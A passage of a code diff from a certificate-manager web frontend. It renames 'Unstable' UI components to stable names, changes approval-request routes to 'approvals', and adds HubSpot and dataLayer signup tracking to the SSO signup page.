-  UnstableCardHeader,
-  UnstableCardTitle
-} from "@app/components/v3";
+import { Button, Card, CardContent, CardHeader, CardTitle, FieldError } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
+import { isInfisicalCloud } from "@app/helpers/platform";
+import { getHubSpotUtk } from "@app/helpers/utmTracking";
 import { useSendEmailVerificationCode } from "@app/hooks/api";
 import { useCompleteAccountSignup } from "@app/hooks/api/auth/queries";
 
@@ -87,13 +82,19 @@ export const SignupSsoPage = () => {
   const handleSubmit = async () => {
     const { token: accessToken } = await completeAccountSignup.mutateAsync({
       type: "alias",
-      code
+      code,
+      hubspotUtk: getHubSpotUtk()
     });
 
     SecurityClient.setSignupToken("");
     SecurityClient.setToken(accessToken);
     const { organizationId } = jwtDecode(accessToken) as { organizationId?: string };
 
+    if (isInfisicalCloud()) {
+      window.dataLayer = window.dataLayer || [];
+      window.dataLayer.push({ event: "signup_completed" });
+    }
+
     createNotification({
       text: "Successfully verified",
       type: "success"
@@ -141,13 +142,13 @@ export const SignupSsoPage = () => {
       <div className="relative z-10 my-auto flex flex-col items-center py-10">
         <form className="w-full" onSubmit={(e) => e.preventDefault()}>
           <div className="mx-auto flex w-full flex-col items-center justify-center">
-            <UnstableCard className="mx-auto w-full max-w-md items-stretch gap-0 p-6">
-              <UnstableCardHeader className="mb-2 gap-2">
-                <UnstableCardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-center text-[1.55rem] font-medium text-transparent">
+            <Card className="mx-auto w-full max-w-md items-stretch gap-0 p-6">
+              <CardHeader className="mb-2 gap-2">
+                <CardTitle className="bg-linear-to-b from-white to-bunker-200 bg-clip-text text-center text-[1.55rem] font-medium text-transparent">
                   We&apos;ve sent a verification code to
-                </UnstableCardTitle>
-              </UnstableCardHeader>
-              <UnstableCardContent>
+                </CardTitle>
+              </CardHeader>
+              <CardContent>
                 <p className="text-md my-1 flex justify-center font-medium text-foreground">
                   {decoded.email}
                 </p>
@@ -203,8 +204,8 @@ export const SignupSsoPage = () => {
                   </div>
                   <p className="text-label">Make sure to check your spam inbox.</p>
                 </div>
-              </UnstableCardContent>
-            </UnstableCard>
+              </CardContent>
+            </Card>
           </div>
         </form>
       </div>
diff --git a/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/ApprovalRequestDetailPage.tsx b/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/ApprovalRequestDetailPage.tsx
index 69f1937c3e4..eea7696dbe8 100644
--- a/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/ApprovalRequestDetailPage.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/ApprovalRequestDetailPage.tsx
@@ -26,7 +26,7 @@ import {
 } from "./components";
 
 const ROUTE_ID =
-  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId" as const;
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId" as const;
 
 const CodeSigningDetailsSection = ({
   requestData,
diff --git a/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/components/CertificateDetailsSection.tsx b/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/components/CertificateDetailsSection.tsx
index ee63cf88c01..b2e345a9ef8 100644
--- a/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/components/CertificateDetailsSection.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/components/CertificateDetailsSection.tsx
@@ -4,7 +4,7 @@ import { Link } from "@tanstack/react-router";
 import { ExternalLinkIcon } from "lucide-react";
 
 import { Skeleton } from "@app/components/v2";
-import { Badge, UnstableButtonGroup } from "@app/components/v3";
+import { Badge, ButtonGroup } from "@app/components/v3";
 import { useOrganization, useProject } from "@app/context";
 import { CertRequestRequestData, TApprovalRequest } from "@app/hooks/api/approvalRequests";
 import { useGetCertificateProfileById } from "@app/hooks/api/certificateProfiles";
@@ -319,17 +319,14 @@ export const CertificateDetailsSection = ({ request }: Props) => {
           <div className="flex flex-wrap gap-2">
             {metadata.map((item: { key: string; value?: string }) =>
               item.value ? (
-                <UnstableButtonGroup
-                  className="max-w-full min-w-0"
-                  key={`${item.key}=${item.value}`}
-                >
+                <ButtonGroup className="max-w-full min-w-0" key={`${item.key}=${item.value}`}>
                   <Badge isTruncatable className="max-w-[12rem] shrink-0">
                     <span>{item.key}</span>
                   </Badge>
                   <Badge variant="outline" isTruncatable>
                     <span>{item.value}</span>
                   </Badge>
-                </UnstableButtonGroup>
+                </ButtonGroup>
               ) : (
                 <Badge key={item.key} isTruncatable>
                   <span>{item.key}</span>
diff --git a/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/route.tsx b/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/route.tsx
index b873fb10ea2..92a6c365d23 100644
--- a/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/route.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalRequestDetailPage/route.tsx
@@ -11,7 +11,7 @@ const ApprovalRequestSearchSchema = z.object({
 });
 
 export const Route = createFileRoute(
-  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId"
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId"
 )({
   component: ApprovalRequestDetailPage,
   validateSearch: zodValidator(ApprovalRequestSearchSchema),
diff --git a/frontend/src/pages/cert-manager/ApprovalsPage/ApprovalsPage.tsx b/frontend/src/pages/cert-manager/ApprovalsPage/ApprovalsPage.tsx
index 7b0a5591398..f8bb1abdc56 100644
--- a/frontend/src/pages/cert-manager/ApprovalsPage/ApprovalsPage.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalsPage/ApprovalsPage.tsx
@@ -10,7 +10,7 @@ import { RequestsTab } from "./components/RequestsTab";
 export const ApprovalsPage = () => {
   const { currentProject } = useProject();
   const { selectedTab } = useSearch({
-    from: "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals"
+    from: "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/"
   });
 
   const activeTab = selectedTab || "requests";
diff --git a/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningGrantsTab/CodeSigningGrantsTab.tsx b/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningGrantsTab/CodeSigningGrantsTab.tsx
index 5a2da22b958..8ce4552509b 100644
--- a/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningGrantsTab/CodeSigningGrantsTab.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningGrantsTab/CodeSigningGrantsTab.tsx
@@ -367,7 +367,7 @@ export const CodeSigningGrantsTab = () => {
                             <DropdownMenuContent align="end" className="p-1" sideOffset={5}>
                               {grant.requestId && (
                                 <Link
-                                  to="/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId"
+                                  to="/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId"
                                   params={{
                                     orgId: currentOrg.id,
                                     projectId: currentProject.id,
diff --git a/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningRequestsTab/CodeSigningRequestsTab.tsx b/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningRequestsTab/CodeSigningRequestsTab.tsx
index c3d3c64eedf..5e530550b23 100644
--- a/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningRequestsTab/CodeSigningRequestsTab.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalsPage/components/CodeSigningRequestsTab/CodeSigningRequestsTab.tsx
@@ -306,7 +306,7 @@ export const CodeSigningRequestsTab = () => {
                   className="h-14 cursor-pointer transition-colors hover:bg-mineshaft-700"
                   onClick={() =>
                     navigate({
-                      to: "/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId",
+                      to: "/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId",
                       params: {
                         orgId: currentOrg.id,
                         projectId,
diff --git a/frontend/src/pages/cert-manager/ApprovalsPage/components/RequestsTab/RequestsTab.tsx b/frontend/src/pages/cert-manager/ApprovalsPage/components/RequestsTab/RequestsTab.tsx
index c21c7f6c668..6111665b270 100644
--- a/frontend/src/pages/cert-manager/ApprovalsPage/components/RequestsTab/RequestsTab.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalsPage/components/RequestsTab/RequestsTab.tsx
@@ -286,7 +286,7 @@ export const RequestsTab = () => {
                       className="h-14 cursor-pointer transition-colors hover:bg-mineshaft-700"
                       onClick={() =>
                         navigate({
-                          to: "/organizations/$orgId/projects/cert-manager/$projectId/approval-requests/$approvalRequestId",
+                          to: "/organizations/$orgId/projects/cert-manager/$projectId/approvals/$approvalRequestId",
                           params: {
                             orgId: currentOrg.id,
                             projectId: currentProject.id,
diff --git a/frontend/src/pages/cert-manager/ApprovalsPage/route.tsx b/frontend/src/pages/cert-manager/ApprovalsPage/route.tsx
index 5f8cfeb64c3..bbbab5deac3 100644
--- a/frontend/src/pages/cert-manager/ApprovalsPage/route.tsx
+++ b/frontend/src/pages/cert-manager/ApprovalsPage/route.tsx
@@ -10,7 +10,7 @@ const ApprovalsSearchSchema = z.object({
 });
 
 export const Route = createFileRoute(
-  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals"
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/"
 )({
   component: ApprovalsPage,
   validateSearch: zodValidator(ApprovalsSearchSchema),
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/CertAuthDetailsByIDPage.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/CertAuthDetailsByIDPage.tsx
index e1b166aab2f..b329f0685b0 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/CertAuthDetailsByIDPage.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/CertAuthDetailsByIDPage.tsx
@@ -10,10 +10,10 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { AccessRestrictedBanner, DeleteActionModal, PageHeader } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -116,14 +116,14 @@ const Page = () => {
                   description="Manage certificate authority"
                   title={data.name}
                 >
-                  <UnstableDropdownMenu>
-                    <UnstableDropdownMenuTrigger asChild>
+                  <DropdownMenu>
+                    <DropdownMenuTrigger asChild>
                       <Button variant="outline">
                         Options
                         <EllipsisIcon />
                       </Button>
-                    </UnstableDropdownMenuTrigger>
-                    <UnstableDropdownMenuContent align="end">
+                    </DropdownMenuTrigger>
+                    <DropdownMenuContent align="end">
                       <ProjectPermissionCan
                         I={ProjectPermissionCertificateAuthorityActions.Delete}
                         a={subject(ProjectPermissionSub.CertificateAuthorities, {
@@ -131,17 +131,17 @@ const Page = () => {
                         })}
                       >
                         {(canDelete) => (
-                          <UnstableDropdownMenuItem
+                          <DropdownMenuItem
                             variant="danger"
                             isDisabled={!canDelete}
                             onClick={() => handlePopUpOpen("deleteCa")}
                           >
                             Delete CA
-                          </UnstableDropdownMenuItem>
+                          </DropdownMenuItem>
                         )}
                       </ProjectPermissionCan>
-                    </UnstableDropdownMenuContent>
-                  </UnstableDropdownMenu>
+                    </DropdownMenuContent>
+                  </DropdownMenu>
                 </PageHeader>
                 <div className="flex flex-col gap-5 lg:flex-row">
                   <div className="w-full lg:max-w-[24rem]">
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertDetailsSection.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertDetailsSection.tsx
index 4e127fc0577..4c5b346a476 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertDetailsSection.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertDetailsSection.tsx
@@ -1,13 +1,13 @@
 import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
-  DetailValue,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  DetailValue
 } from "@app/components/v3";
 import { CaType, useGetCa } from "@app/hooks/api";
 import { TInternalCertificateAuthority } from "@app/hooks/api/ca/types";
@@ -41,12 +41,12 @@ export const CaCertDetailsSection = ({ caId }: Props) => {
   }
 
   return (
-    <UnstableCard className="mt-4 w-full">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Certificate Details</UnstableCardTitle>
-        <UnstableCardDescription>Subject and issuer information</UnstableCardDescription>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card className="mt-4 w-full">
+      <CardHeader className="border-b">
+        <CardTitle>Certificate Details</CardTitle>
+        <CardDescription>Subject and issuer information</CardDescription>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           {ca.configuration.commonName && (
             <Detail>
@@ -90,7 +90,7 @@ export const CaCertDetailsSection = ({ caId }: Props) => {
             </Detail>
           )}
         </DetailGroup>
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesSection.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesSection.tsx
index e82dae5ca02..3ab1a8cfe9e 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesSection.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesSection.tsx
@@ -4,15 +4,15 @@ import { ArrowDownToLineIcon, RefreshCcwIcon } from "lucide-react";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionCertificateAuthorityActions, ProjectPermissionSub } from "@app/context";
 import {
@@ -163,15 +163,15 @@ export const CaCertificatesSection = ({ caId, caName, handlePopUpOpen }: Props)
   };
 
   return (
-    <UnstableCard className="w-full">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>CA Certificates</UnstableCardTitle>
-        <UnstableCardDescription>Issued and active certificates</UnstableCardDescription>
-        <UnstableCardAction>{renderActionButton()}</UnstableCardAction>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card className="w-full">
+      <CardHeader className="border-b">
+        <CardTitle>CA Certificates</CardTitle>
+        <CardDescription>Issued and active certificates</CardDescription>
+        <CardAction>{renderActionButton()}</CardAction>
+      </CardHeader>
+      <CardContent>
         <CaCertificatesTable caId={caId} caName={caName} />
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesTable.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesTable.tsx
index c9e3ed0c2d1..38993e6e1ac 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesTable.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCertificatesSection/CaCertificatesTable.tsx
@@ -8,21 +8,21 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { Lottie } from "@app/components/v2";
 import {
   Badge,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { ProjectPermissionCertificateAuthorityActions, ProjectPermissionSub } from "@app/context";
 import { useGetCaCerts } from "@app/hooks/api";
@@ -50,55 +50,47 @@ export const CaCertificatesTable = ({ caId, caName }: Props) => {
 
   if (!caCerts?.length) {
     return (
-      <UnstableEmpty className="border">
-        <UnstableEmptyHeader>
-          <UnstableEmptyTitle>
-            This CA does not have any CA certificates installed
-          </UnstableEmptyTitle>
-          <UnstableEmptyDescription>
-            Install a CA certificate to get started
-          </UnstableEmptyDescription>
-        </UnstableEmptyHeader>
-      </UnstableEmpty>
+      <Empty className="border">
+        <EmptyHeader>
+          <EmptyTitle>This CA does not have any CA certificates installed</EmptyTitle>
+          <EmptyDescription>Install a CA certificate to get started</EmptyDescription>
+        </EmptyHeader>
+      </Empty>
     );
   }
 
   return (
-    <UnstableTable>
-      <UnstableTableHeader>
-        <UnstableTableRow>
-          <UnstableTableHead>CA Certificate #</UnstableTableHead>
-          <UnstableTableHead>Not Before</UnstableTableHead>
-          <UnstableTableHead>Not After</UnstableTableHead>
-          <UnstableTableHead className="w-5" />
-        </UnstableTableRow>
-      </UnstableTableHeader>
-      <UnstableTableBody>
+    <Table>
+      <TableHeader>
+        <TableRow>
+          <TableHead>CA Certificate #</TableHead>
+          <TableHead>Not Before</TableHead>
+          <TableHead>Not After</TableHead>
+          <TableHead className="w-5" />
+        </TableRow>
+      </TableHeader>
+      <TableBody>
         {caCerts.map((caCert, index) => {
           const isLastItem = index === caCerts.length - 1;
           const caCertObj = new x509.X509Certificate(caCert.certificate);
           return (
-            <UnstableTableRow key={`ca-cert=${caCert.serialNumber}`}>
-              <UnstableTableCell>
+            <TableRow key={`ca-cert=${caCert.serialNumber}`}>
+              <TableCell>
                 <div className="flex items-center gap-x-2">
                   CA Certificate {caCert.version}
                   {isLastItem && <Badge variant="info">Current</Badge>}
                 </div>
-              </UnstableTableCell>
-              <UnstableTableCell>
-                {format(new Date(caCertObj.notBefore), "yyyy-MM-dd")}
-              </UnstableTableCell>
-              <UnstableTableCell>
-                {format(new Date(caCertObj.notAfter), "yyyy-MM-dd")}
-              </UnstableTableCell>
-              <UnstableTableCell>
-                <UnstableDropdownMenu>
-                  <UnstableDropdownMenuTrigger asChild>
-                    <UnstableIconButton variant="ghost" size="xs">
+              </TableCell>
+              <TableCell>{format(new Date(caCertObj.notBefore), "yyyy-MM-dd")}</TableCell>
+              <TableCell>{format(new Date(caCertObj.notAfter), "yyyy-MM-dd")}</TableCell>
+              <TableCell>
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
+                    <IconButton variant="ghost" size="xs">
                       <EllipsisIcon />
-                    </UnstableIconButton>
-                  </UnstableDropdownMenuTrigger>
-                  <UnstableDropdownMenuContent align="end">
+                    </IconButton>
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent align="end">
                     <ProjectPermissionCan
                       I={ProjectPermissionCertificateAuthorityActions.Read}
                       a={subject(ProjectPermissionSub.CertificateAuthorities, {
@@ -106,7 +98,7 @@ export const CaCertificatesTable = ({ caId, caName }: Props) => {
                       })}
                     >
                       {(isAllowed) => (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           isDisabled={!isAllowed}
                           onClick={(e) => {
                             e.stopPropagation();
@@ -114,7 +106,7 @@ export const CaCertificatesTable = ({ caId, caName }: Props) => {
                           }}
                         >
                           Download CA Certificate
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       )}
                     </ProjectPermissionCan>
                     <ProjectPermissionCan
@@ -124,7 +116,7 @@ export const CaCertificatesTable = ({ caId, caName }: Props) => {
                       })}
                     >
                       {(isAllowed) => (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           isDisabled={!isAllowed}
                           onClick={(e) => {
                             e.stopPropagation();
@@ -132,16 +124,16 @@ export const CaCertificatesTable = ({ caId, caName }: Props) => {
                           }}
                         >
                           Download CA Certificate Chain
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       )}
                     </ProjectPermissionCan>
-                  </UnstableDropdownMenuContent>
-                </UnstableDropdownMenu>
-              </UnstableTableCell>
-            </UnstableTableRow>
+                  </DropdownMenuContent>
+                </DropdownMenu>
+              </TableCell>
+            </TableRow>
           );
         })}
-      </UnstableTableBody>
-    </UnstableTable>
+      </TableBody>
+    </Table>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsSection.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsSection.tsx
index 4aeff7d915c..a789ae6fc7b 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsSection.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsSection.tsx
@@ -1,9 +1,4 @@
-import {
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableCardTitle
-} from "@app/components/v3";
+import { Card, CardContent, CardHeader, CardTitle } from "@app/components/v3";
 
 import { CaCrlsTable } from "./CaCrlsTable";
 
@@ -13,13 +8,13 @@ type Props = {
 
 export const CaCrlsSection = ({ caId }: Props) => {
   return (
-    <UnstableCard className="w-full">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>CA Certificate Revocation Lists (CRLs)</UnstableCardTitle>
-      </UnstableCardHeader>
-      <UnstableCardContent>
+    <Card className="w-full">
+      <CardHeader className="border-b">
+        <CardTitle>CA Certificate Revocation Lists (CRLs)</CardTitle>
+      </CardHeader>
+      <CardContent>
         <CaCrlsTable caId={caId} />
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsTable.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsTable.tsx
index 3e68d32c8d4..91592dc61dc 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsTable.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaCrlsSection/CaCrlsTable.tsx
@@ -3,20 +3,20 @@ import { ClipboardListIcon, DownloadIcon, EllipsisIcon } from "lucide-react";
 
 import { Lottie } from "@app/components/v2";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { useGetCaCrls } from "@app/hooks/api";
 
@@ -42,36 +42,36 @@ export const CaCrlsTable = ({ caId }: Props) => {
 
   if (!caCrls?.length) {
     return (
-      <UnstableEmpty className="border">
-        <UnstableEmptyHeader>
-          <UnstableEmptyTitle>This CA does not have any CRLs</UnstableEmptyTitle>
-        </UnstableEmptyHeader>
-      </UnstableEmpty>
+      <Empty className="border">
+        <EmptyHeader>
+          <EmptyTitle>This CA does not have any CRLs</EmptyTitle>
+        </EmptyHeader>
+      </Empty>
     );
   }
 
   return (
-    <UnstableTable>
-      <UnstableTableHeader>
-        <UnstableTableRow>
-          <UnstableTableHead>Distribution Point URL</UnstableTableHead>
-          <UnstableTableHead className="w-5" />
-        </UnstableTableRow>
-      </UnstableTableHeader>
-      <UnstableTableBody>
+    <Table>
+      <TableHeader>
+        <TableRow>
+          <TableHead>Distribution Point URL</TableHead>
+          <TableHead className="w-5" />
+        </TableRow>
+      </TableHeader>
+      <TableBody>
         {caCrls.map(({ id, crl }) => {
           return (
-            <UnstableTableRow key={`ca-crl-${id}`}>
-              <UnstableTableCell>{`${window.origin}/api/v1/cert-manager/crl/${id}`}</UnstableTableCell>
-              <UnstableTableCell>
-                <UnstableDropdownMenu>
-                  <UnstableDropdownMenuTrigger asChild>
-                    <UnstableIconButton variant="ghost" size="xs">
+            <TableRow key={`ca-crl-${id}`}>
+              <TableCell>{`${window.origin}/api/v1/cert-manager/crl/${id}`}</TableCell>
+              <TableCell>
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
+                    <IconButton variant="ghost" size="xs">
                       <EllipsisIcon />
-                    </UnstableIconButton>
-                  </UnstableDropdownMenuTrigger>
-                  <UnstableDropdownMenuContent align="end">
-                    <UnstableDropdownMenuItem
+                    </IconButton>
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent align="end">
+                    <DropdownMenuItem
                       onClick={(e) => {
                         e.stopPropagation();
                         navigator.clipboard.writeText(
@@ -81,8 +81,8 @@ export const CaCrlsTable = ({ caId }: Props) => {
                     >
                       <ClipboardListIcon />
                       Copy CRL URL
-                    </UnstableDropdownMenuItem>
-                    <UnstableDropdownMenuItem
+                    </DropdownMenuItem>
+                    <DropdownMenuItem
                       onClick={(e) => {
                         e.stopPropagation();
                         downloadTxtFile("crl.pem", crl);
@@ -90,14 +90,14 @@ export const CaCrlsTable = ({ caId }: Props) => {
                     >
                       <DownloadIcon />
                       Download CRL
-                    </UnstableDropdownMenuItem>
-                  </UnstableDropdownMenuContent>
-                </UnstableDropdownMenu>
-              </UnstableTableCell>
-            </UnstableTableRow>
+                    </DropdownMenuItem>
+                  </DropdownMenuContent>
+                </DropdownMenu>
+              </TableCell>
+            </TableRow>
           );
         })}
-      </UnstableTableBody>
-    </UnstableTable>
+      </TableBody>
+    </Table>
   );
 };
diff --git a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaDetailsSection.tsx b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaDetailsSection.tsx
index 47cd36388b3..b2945ca2d1c 100644
--- a/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaDetailsSection.tsx
+++ b/frontend/src/pages/cert-manager/CertAuthDetailsByIDPage/components/CaDetailsSection.tsx
@@ -27,23 +27,23 @@ import {
   Tooltip as TooltipV2
 } from "@app/components/v2";
 import {
+  Alert,
+  AlertTitle,
   Badge,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
+  IconButton,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAlert,
-  UnstableAlertTitle,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import { useOrganization, useProject } from "@app/context";
 import { useTimedReset } from "@app/hooks";
@@ -199,23 +199,23 @@ export const CaDetailsSection = ({ caId }: Props) => {
 
   return (
     <>
-      <UnstableCard className="w-full">
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Details</UnstableCardTitle>
-          <UnstableCardDescription>Certificate authority details</UnstableCardDescription>
+      <Card className="w-full">
+        <CardHeader className="border-b">
+          <CardTitle>Details</CardTitle>
+          <CardDescription>Certificate authority details</CardDescription>
           {showAutoRenewal && (
-            <UnstableCardAction>
-              <UnstableIconButton
+            <CardAction>
+              <IconButton
                 variant="outline"
                 size="xs"
                 onClick={() => handlePopUpToggle("editAutoRenewal", true)}
               >
                 <PencilIcon />
-              </UnstableIconButton>
-            </UnstableCardAction>
+              </IconButton>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>CA Type</DetailLabel>
@@ -228,7 +228,7 @@ export const CaDetailsSection = ({ caId }: Props) => {
                 <span className="break-all">{ca.id}</span>
                 <Tooltip>
                   <TooltipTrigger asChild>
-                    <UnstableIconButton
+                    <IconButton
                       variant="ghost"
                       size="xs"
                       onClick={() => {
@@ -237,7 +237,7 @@ export const CaDetailsSection = ({ caId }: Props) => {
                       }}
                     >
                       {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                    </UnstableIconButton>
+                    </IconButton>
                   </TooltipTrigger>
                   <TooltipContent>{isCopyingId ? "Copied" : "Copy ID to clipboard"}</TooltipContent>
                 </Tooltip>
